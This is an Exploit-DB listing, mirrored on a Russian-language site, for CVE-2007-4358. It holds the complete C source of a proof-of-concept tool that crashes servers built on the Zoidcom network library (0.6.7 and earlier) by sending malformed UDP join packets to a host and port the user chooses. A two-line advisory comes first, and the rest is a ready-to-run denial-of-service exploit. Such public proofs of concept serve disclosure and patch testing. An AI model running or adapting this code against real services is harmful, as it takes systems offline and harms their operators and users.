- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 30497
- Проверка EDB
-
- Пройдено
- Автор
- LUIGI AURIEMMA
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- cve-2007-4358
- Дата публикации
- 2007-08-14
C:
// source: https://www.securityfocus.com/bid/25326/info
The Zoidcom network library is prone to a denial of service vulnerability when handling malformed packets.
An attacker could exploit this to crash a network service that is implemented with the library.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#define stristr strcasestr
#endif
#define VER "0.1"
#define PORT 8899
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i;
u16 port = PORT;
u8 buff[16];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Zoidcom <= 0.6.7 crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
// the following is a classical join packet
memcpy(buff,
"\xec\x03\x00\x00\x00\x68\xc0\xff\xe9\x00\x80\x07\x00\x64\x00\x01", 16);
buff[8] = 0x69;
printf("- send malicious packet 0x%02x\n", buff[8]);
for(i = 0; i < 2; i++) {
if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
sleep(0);
}
sleep(ONESEC);
buff[8] = 0xa9;
printf("- send malicious packet 0x%02x\n", buff[8]);
for(i = 0; i < 2; i++) {
if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
sleep(0);
}
close(sd);
printf("- the server should have been crashed, check it
manually\n");
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
- Источник
- www.exploit-db.com